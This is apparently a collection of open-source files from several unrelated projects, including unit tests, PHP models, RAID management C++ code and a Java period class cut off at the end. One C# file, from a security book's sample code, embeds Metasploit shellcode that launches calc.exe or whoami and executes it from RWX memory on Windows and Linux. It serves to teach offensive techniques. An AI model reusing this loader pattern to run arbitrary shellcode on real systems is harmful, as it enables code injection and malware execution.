#include <test/unit/math/test_ad.hpp> TEST(MathMixMatFun, subRow) { auto f = [](int i, int j, int k) { return [=](const auto& y) { return stan::math::sub_row(y, i, j, k); }; }; Eigen::MatrixXd a(1, 1); a << 3.2; stan::test::expect_ad(f(1, 1, 0), a); stan::test::expect_ad(f(1, 1, 1), a); Eigen::MatrixXd b(3, 4); b << 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12; stan::test::expect_ad(f(1, 1, 0), b); stan::test::expect_ad(f(1, 1, 1), b); stan::test::expect_ad(f(1, 1, 3), b); stan::test::expect_ad(f(1, 2, 2), b); stan::test::expect_ad(f(3, 4, 1), b); stan::test::expect_ad(f(2, 3, 2), b); stan::test::expect_ad(f(1, 1, 7), b); // exception--range stan::test::expect_ad(f(7, 1, 1), b); // exception--range stan::test::expect_ad(f(1, 7, 1), b); // exception--range Eigen::MatrixXd c(0, 0); stan::test::expect_ad(f(0, 0, 0), c); stan::test::expect_ad(f(0, 1, 0), c); stan::test::expect_ad(f(0, 1, 1), c); stan::test::expect_ad(f(1, 0, 0), c); stan::test::expect_ad(f(1, 0, 1), c); stan::test::expect_ad(f(1, 1, 0), c); stan::test::expect_ad(f(1, 1, 1), c); }
stan-dev/math
test/unit/math/mix/fun/sub_row_test.cpp
C++
bsd-3-clause
1,112
/* @flow */ 'use strict'; import { document } from '../dom/dom'; export default function () : boolean { return Boolean( (document) && (typeof document.querySelector !== 'undefined') ); }
cinecove/defunctr
lib/checks/hasQuerySelectorCheck.js
JavaScript
bsd-3-clause
201
<?php namespace backend\models; use Yii; use yii\base\Model; use yii\data\ActiveDataProvider; use backend\models\TaxonomyItems; /** * TaxonomyItemsSearch represents the model behind the search form about `app\models\TaxonomyItems`. */ class TaxonomyItemsSearch extends TaxonomyItems { /** * @inheritdoc */ public function rules() { return [ [['vid'], 'required'], [['id', 'vid', 'pid'], 'integer'], [['name'], 'safe'], ]; } /** * @inheritdoc */ public function scenarios() { // bypass scenarios() implementation in the parent class return Model::scenarios(); } /** * Creates data provider instance with search query applied * * @param array $params * * @return ActiveDataProvider */ public function search($params) { $query = TaxonomyItems::find(); $dataProvider = new ActiveDataProvider([ 'query' => $query, ]); if (!($this->load($params) && $this->validate())) { return $dataProvider; } $query->andFilterWhere([ 'id' => $this->id, 'vid' => $this->vid, ]); $query->andFilterWhere(['like', 'name', $this->name]); return $dataProvider; } }
babagay/razzd
backend/models/TaxonomyItemsSearch.php
PHP
bsd-3-clause
1,352
# proxy module from pyface.ui.wx.system_metrics import *
enthought/etsproxy
enthought/pyface/ui/wx/system_metrics.py
Python
bsd-3-clause
57
#ifndef __ISOLATION_MODULE_HPP__ #define __ISOLATION_MODULE_HPP__ #include <string> namespace mesos { namespace internal { namespace slave { class Framework; class Slave; class IsolationModule { public: static IsolationModule * create(const std::string &type); static void destroy(IsolationModule *module); virtual ~IsolationModule() {} // Called during slave initialization. virtual void initialize(Slave *slave) {} // Called by the slave to launch an executor for a given framework. virtual void startExecutor(Framework *framework) = 0; // Terminate a framework's executor, if it is still running. // The executor is expected to be gone after this method exits. virtual void killExecutor(Framework *framework) = 0; // Update the resource limits for a given framework. This method will // be called only after an executor for the framework is started. virtual void resourcesChanged(Framework *framework) {} }; }}} #endif /* __ISOLATION_MODULE_HPP__ */
benh/twesos
src/slave/isolation_module.hpp
C++
bsd-3-clause
992
<?php namespace frontend\models\money; use Yii; /** * This is the model class for table "fin_quota". * * @property integer $quota_id * @property integer $user_id * @property string $quota_amount * @property string $quota_desc * @property integer $quota_status * @property integer $addtime */ class Quota extends \yii\db\ActiveRecord { /** * @inheritdoc */ public static function tableName() { return 'fin_quota'; } /** * @inheritdoc */ public function rules() { return [ [['user_id', 'quota_status', 'addtime'], 'integer'], [['quota_amount'], 'number'], [['quota_desc'], 'string', 'max' => 80] ]; } /** * @inheritdoc */ public function attributeLabels() { return [ 'quota_id' => 'Quota ID', 'user_id' => 'User ID', 'quota_amount' => 'Quota Amount', 'quota_desc' => 'Quota Desc', 'quota_status' => 'Quota Status', 'addtime' => 'Addtime', ]; } }
wangpengzhen/web
frontend/models/money/Quota.php
PHP
bsd-3-clause
1,084
/* Copyright (c) 1996-2004, Adaptec Corporation * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the Adaptec Corporation nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ //File - SCSI_MGR.CPP //*************************************************************************** // //Description: // // This file contains the function definitions for the dptSCSImgr_C //class. // //Author: Doug Anderson //Date: 3/9/93 // //Editors: // //Remarks: // // //*************************************************************************** //Include Files ------------------------------------------------------------- #include "allfiles.hpp" // All engine include files //Function - dptSCSImgr_C::dptSCSImgr_C() - start //=========================================================================== // //Description: // // This function is the constructor for the dptSCSImgr_C class. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- dptSCSImgr_C::dptSCSImgr_C() { // Every second rbldFrequency = 90; // 256k per burst rbldAmount = 256 * 2; // Clear the RAID support flags raidSupport = 0; // Default = 6 second delay spinDownDelay = 6; // Default = Do not poll for rebuilding rbldPollFreq = 0; // Clear the RAID rebuild flags raidFlags = 0; } //dptSCSImgr_C::dptSCSImgr_C() - end //Function - dptSCSImgr_C::preEnterLog() - start //=========================================================================== // //Description: // // This function is called prior to entering a device in this manager's //logical device list. This function should be used to set any ownership //flags... // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::preEnterLog(dptCoreDev_C *dev_P) { DPT_RTN_T retVal = MSG_RTN_COMPLETED; // Set the device's HBA to this manager's HBA dev_P->hba_P = myHBA_P(); // Update the device's HBA # dev_P->updateHBAnum(); // Insure the device's SCSI ID is unique //if (!isUniqueLog(dev_P->getAddr(),0x7)) // retVal = MSG_RTN_FAILED | ERR_SCSI_ADDR_CONFLICT; return (retVal); } //dptSCSImgr_C::preEnterLog() - end //Function - dptSCSImgr_C::preEnterPhy() - start //=========================================================================== // //Description: // // This function is called prior to entering an object in this manager's //physical object list. This function should be used to set any ownership //flags... // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::preEnterPhy(dptCoreObj_C *obj_P) { DPT_RTN_T retVal = MSG_RTN_COMPLETED; dptAddr_S tempAddr; // Cast the core object as a SCSI object dptSCSIobj_C *scsi_P = (dptSCSIobj_C *) obj_P; // Set the device's HBA to this manager's HBA scsi_P->hba_P = myHBA_P(); // Update the object's HBA # scsi_P->updateHBAnum(); tempAddr = scsi_P->getAddr(); // Insure the object's address is within the minimum bounds //if (!phyRange.inBounds(tempAddr)) // retVal = MSG_RTN_FAILED | ERR_SCSI_ADDR_BOUNDS; // Insure the object's SCSI ID is not equal to this manager's SCSI ID //else if (scsi_P->getID()==getMgrPhyID()) //if (scsi_P->getID()==getMgrPhyID()) // retVal = MSG_RTN_FAILED | ERR_SCSI_ADDR_CONFLICT; // Insure the object's SCSI ID is unique //else if (!isUniquePhy(tempAddr,0x6)) // retVal = MSG_RTN_FAILED | ERR_SCSI_ADDR_CONFLICT; return (retVal); } //dptSCSImgr_C::preEnterPhy() - end //Function - dptSCSImgr_C::preAddLog() - start //=========================================================================== // //Description: // // This function is called prior to adding a device to this manager's //logical device list. This function insures that the device has a //unique SCSI address and positions the logical device list to enter //the device in SCSI address order. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- uSHORT dptSCSImgr_C::preAddLog(dptCoreDev_C *dev_P) { uSHORT unique = positionSCSI(logList,dev_P->getAddr()); return (unique); } //dptSCSImgr_C::preAddLog() - end //Function - dptSCSImgr_C::preAddPhy() - start //=========================================================================== // //Description: // // This function is called prior to adding an object to this manager's //physical device list. This function insures that the device has a //unique SCSI address and positions the physical object list to enter //the object in SCSI address order. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- uSHORT dptSCSImgr_C::preAddPhy(dptCoreObj_C *obj_P) { uSHORT unique = positionSCSI(phyList,((dptSCSIobj_C *)obj_P)->getAddr()); return (unique); } //dptSCSImgr_C::preAddPhy() - end //Function - dptSCSImgr_C::getNextAddr() - start //=========================================================================== // //Description: // // This function attempts to find the next available address in the //specified list. The entire physical address range is checked. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- uSHORT dptSCSImgr_C::getNextAddr(dptCoreList_C &list, dptAddr_S &inAddr, uCHAR mask, uCHAR notMyID ) { uSHORT found = 0; for (phyRange.reset();!phyRange.maxedOut() && !found; phyRange.incTopDown()) { // Set the SCSI address inAddr = phyRange.cur(); inAddr.hba = getHBA(); // If the address is unique... if (isUniqueAddr(list,inAddr,mask)) if (!notMyID || (inAddr.id!=getMgrPhyID())) found = 1; } // end for (phyRange) // If a unique address was not found... if (!found) { // Set the address to the minimum address inAddr = phyRange.getMinAddr(); inAddr.hba = getHBA(); } return (found); } //dptSCSImgr_C::getAddr() - end //Function - dptSCSImgr_C::createArtificial() - start //=========================================================================== // //Description: // // This function creates an absent object and enters the object into //the engine core. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::createArtificial(dptBuffer_S *fromEng_P, dptBuffer_S *toEng_P ) { DPT_RTN_T retVal = MSG_RTN_DATA_UNDERFLOW; uSHORT objType; dptSCSIobj_C *obj_P; // Skip the tag field toEng_P->skip(sizeof(DPT_TAG_T)); // Read the object type if (toEng_P->extract(&objType,sizeof(uSHORT))) { retVal = MSG_RTN_FAILED | ERR_NEW_ARTIFICIAL; if (isValidAbsentObj(objType)) { // Create a new object obj_P = (dptSCSIobj_C *) newObject(objType); if (obj_P != NULL) { // Reset the input buffer toEng_P->replay(); // Attempt to set the object's data obj_P->setInfo(toEng_P,1); // Flag the object as artificial obj_P->status.flags |= FLG_STAT_ARTIFICIAL; // Add the object to this manager's list if (enterAbs(obj_P)==MSG_RTN_COMPLETED) // Return the new object's ID retVal = obj_P->returnID(fromEng_P); } } } return (retVal); } //dptSCSImgr_C::createArtificial() - end //Function - dptSCSImgr_C::setInfo() - start //=========================================================================== // //Description: // // This function sets SCSI manager information from the specified //input buffer. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::setInfo(dptBuffer_S *toEng_P,uSHORT setAll) { DPT_RTN_T retVal = MSG_RTN_DATA_UNDERFLOW; // Set base class information dptSCSIobj_C::setInfo(toEng_P,setAll); // Skip the maximum physical address supported toEng_P->skip(sizeof(dptAddr_S)); // Skip the minimum physical address supported toEng_P->skip(sizeof(dptAddr_S)); if (!setAll) { // Skip the rebuild frequency toEng_P->skip(sizeof(uSHORT)); // Skip the rebuild amount toEng_P->skip(sizeof(uSHORT)); // Skip the RAID support flags toEng_P->skip(sizeof(uSHORT)); // Skip the polling interval for RAID rebuilds toEng_P->skip(sizeof(uSHORT)); // Skip the miscellaneous RAID flags toEng_P->skip(sizeof(uSHORT)); // Skip the spinDownTime if (toEng_P->skip(sizeof(uSHORT))) retVal = MSG_RTN_COMPLETED; } else { // Set the rebuild frequency toEng_P->extract(rbldFrequency); // Set the rebuild amount toEng_P->extract(rbldAmount); // Set the RAID support flags toEng_P->extract(raidSupport); // Set the polling interval for RAID rebuilds toEng_P->extract(rbldPollFreq); // Set the miscellaneous RAID flags toEng_P->extract(raidFlags); // Set the spinDownTime if (toEng_P->extract(spinDownDelay)) retVal = MSG_RTN_COMPLETED; } return (retVal); } //dptSCSImgr_C::setInfo() - end //Function - dptSCSImgr_C::rtnInfo() - start //=========================================================================== // //Description: // // This function returns SCSI manager information to the specified //output buffer. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::rtnInfo(dptBuffer_S *fromEng_P) { DPT_RTN_T retVal = MSG_RTN_DATA_OVERFLOW; // Return base class information dptSCSIobj_C::rtnInfo(fromEng_P); // Return the maximum physical address supported fromEng_P->insert((void *)&phyRange.getMaxAddr(),sizeof(dptAddr_S)); // Return the minimum physical address supported fromEng_P->insert((void *)&phyRange.getMinAddr(),sizeof(dptAddr_S)); // Return the rebuild freqency fromEng_P->insert(rbldFrequency); // Return the rebuild amount fromEng_P->insert(rbldAmount); // Return the RAID type support flags fromEng_P->insert(raidSupport); // Return the polling interval to check for rebuilds fromEng_P->insert(rbldPollFreq); // If partition table zapping is enabled if (myConn_P()->isPartZap()) raidFlags &= ~FLG_PART_ZAP_DISABLED; else raidFlags |= FLG_PART_ZAP_DISABLED; // Return the miscellaneous RAID flags fromEng_P->insert(raidFlags); // Return the failed drive spin down delay time if (fromEng_P->insert(spinDownDelay)) retVal = MSG_RTN_COMPLETED; return (retVal); } //dptSCSImgr_C::rtnInfo() - end //Function - dptSCSImgr_C::isValidAbsentObj() - start //=========================================================================== // //Description: // // This function determines if an artificial engine object of the //specified type can be added to this manager's device list. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- uSHORT dptSCSImgr_C::isValidAbsentObj(uSHORT objType) { uSHORT isValid = 0; // If a SCSI device... if (objType<=0xff) // Indicate a valid artificial object type isValid = 1; return (isValid); } //dptSCSImgr_C::isValidAbsentObj() - end //Function - dptSCSImgr_C::handleMessage() - start //=========================================================================== // //Description: // // This routine handles DPT events for the dptSCSImgr_C class. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::handleMessage(DPT_MSG_T message, dptBuffer_S *fromEng_P, dptBuffer_S *toEng_P ) { DPT_RTN_T retVal = MSG_RTN_IGNORED; switch (message) { // Return object IDs from this manager's physical object list case MSG_ID_PHYSICALS: retVal = rtnIDfromList(phyList,fromEng_P,toEng_P,0); break; // Return object IDs from this manager's physical object list // and any sub-manager's logical device lists case MSG_ID_VISIBLES: retVal = rtnIDfromList(phyList,fromEng_P,toEng_P,OPT_TRAVERSE_LOG); break; // Return object IDs from this manager's physical object list // and any sub-manager's physical object lists case MSG_ID_ALL_PHYSICALS: retVal = rtnIDfromList(phyList,fromEng_P,toEng_P,OPT_TRAVERSE_PHY); break; // Return object IDs from this manager's physical object list // and any sub-manager's physical object lists case MSG_ID_LOGICALS: retVal = rtnIDfromList(logList,fromEng_P,toEng_P,0); break; // Create a new absent object case MSG_ABS_NEW_OBJECT: retVal = createArtificial(fromEng_P,toEng_P); break; default: // Call base class event handler retVal = dptObject_C::handleMessage(message,fromEng_P,toEng_P); break; } // end switch return (retVal); } //dptSCSImgr_C::handleMessage() - end //Function - dptSCSImgr_C::newConfigPhy() - start //=========================================================================== // //Description: // // This function attempts to create a new physical object from //the specified configuration data. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- void dptSCSImgr_C::newConfigPhy(uSHORT objType,dptBuffer_S *toEng_P) { dptObject_C *obj_P = (dptObject_C *) newObject(objType); if (obj_P!=NULL) { obj_P->setInfo(toEng_P,1); enterPhy(obj_P); } } //dptSCSImgr_C::newConfigPhy() - end
barak/raidutils
raideng/scsi_mgr.cpp
C++
bsd-3-clause
15,972
using System; using System.Runtime.InteropServices; namespace ch12_crossplatform_metasploit_payloads { class MainClass { [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate void WindowsRun(); [DllImport("libc")] static extern IntPtr mprotect(IntPtr ptr, IntPtr length, IntPtr protection); [DllImport("libc")] static extern IntPtr posix_memalign(ref IntPtr ptr, IntPtr alignment, IntPtr size); [DllImport("libc")] static extern void free(IntPtr ptr); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate void LinuxRun(); public static void Main(string[] args) { OperatingSystem os = Environment.OSVersion; bool x86 = (IntPtr.Size == 4); byte[] payload; if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT) { if (!x86) /* * windows/x64/exec - 276 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=calc.exe */ payload = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; else /* * windows/exec - 200 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=calc.exe */ payload = new byte[] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb9, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(payload, 0, ptr, payload.Length); WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); r(); } else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128) //linux { if (!x86) /* * linux/x64/exec - 55 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/usr/bin/whoami */ payload = new byte[] { 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x10, 0x00, 0x00, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; else /* * linux/x86/exec - 51 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/usr/bin/whoami */ payload = new byte[] { 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x10, 0x00, 0x00, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80 }; IntPtr ptr = IntPtr.Zero; IntPtr success; bool freeMe = false; try { int pagesize = 4096; IntPtr length = (IntPtr)payload.Length; success = posix_memalign(ref ptr, (IntPtr)32, length); if (success != IntPtr.Zero) { Console.WriteLine("Bail! memalign failed: " + success); return; } freeMe = true; IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1)); //get page boundary IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01); //RWX -- careful of selinux success = mprotect(alignedPtr, (IntPtr)32, mode); if (success != IntPtr.Zero) { int err = Marshal.GetLastWin32Error(); Console.WriteLine("Bail! mprotect failed: " + err); return; } Marshal.Copy(payload, 0, ptr, payload.Length); LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun)); r(); } finally { if (freeMe) free(ptr); } } } } }
brandonprry/gray_hat_csharp_code
ch4_crossplatform_metasploit_payloads/Program.cs
C#
bsd-3-clause
7,542
package org.hisp.dhis.period; /* * Copyright (c) 2004-2015, University of Oslo * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * Neither the name of the HISP project nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ import com.google.common.collect.Lists; import org.hisp.dhis.calendar.Calendar; import org.hisp.dhis.calendar.DateTimeUnit; import java.util.Date; import java.util.List; /** * @author Lars Helge Overland */ public abstract class FinancialPeriodType extends CalendarPeriodType { /** * Determines if a de-serialized file is compatible with this class. */ private static final long serialVersionUID = 2649990007010207631L; public static final int FREQUENCY_ORDER = 365; // ------------------------------------------------------------------------- // Abstract methods // ------------------------------------------------------------------------- protected abstract int getBaseMonth(); // ------------------------------------------------------------------------- // PeriodType functionality // ------------------------------------------------------------------------- @Override public Period createPeriod( DateTimeUnit dateTimeUnit, Calendar calendar ) { boolean past = dateTimeUnit.getMonth() >= (getBaseMonth() + 1); if ( !past ) { dateTimeUnit = getCalendar().minusYears( dateTimeUnit, 1 ); } dateTimeUnit.setMonth( getBaseMonth() + 1 ); dateTimeUnit.setDay( 1 ); DateTimeUnit start = new DateTimeUnit( dateTimeUnit ); DateTimeUnit end = new DateTimeUnit( dateTimeUnit ); end = getCalendar().plusYears( end, 1 ); end = getCalendar().minusDays( end, 1 ); return toIsoPeriod( start, end, calendar ); } @Override public int getFrequencyOrder() { return FREQUENCY_ORDER; } // ------------------------------------------------------------------------- // CalendarPeriodType functionality // ------------------------------------------------------------------------- @Override public Period getNextPeriod( Period period, Calendar calendar ) { DateTimeUnit dateTimeUnit = createLocalDateUnitInstance( period.getStartDate(), calendar ); dateTimeUnit = calendar.plusYears( dateTimeUnit, 1 ); return createPeriod( dateTimeUnit, calendar ); } @Override public Period getPreviousPeriod( Period period, Calendar calendar ) { DateTimeUnit dateTimeUnit = createLocalDateUnitInstance( period.getStartDate(), calendar ); dateTimeUnit = calendar.minusYears( dateTimeUnit, 1 ); return createPeriod( dateTimeUnit, calendar ); } /** * Generates financial yearly periods for the last 5, current and next 5 * financial years. */ @Override public List<Period> generatePeriods( DateTimeUnit dateTimeUnit ) { Calendar cal 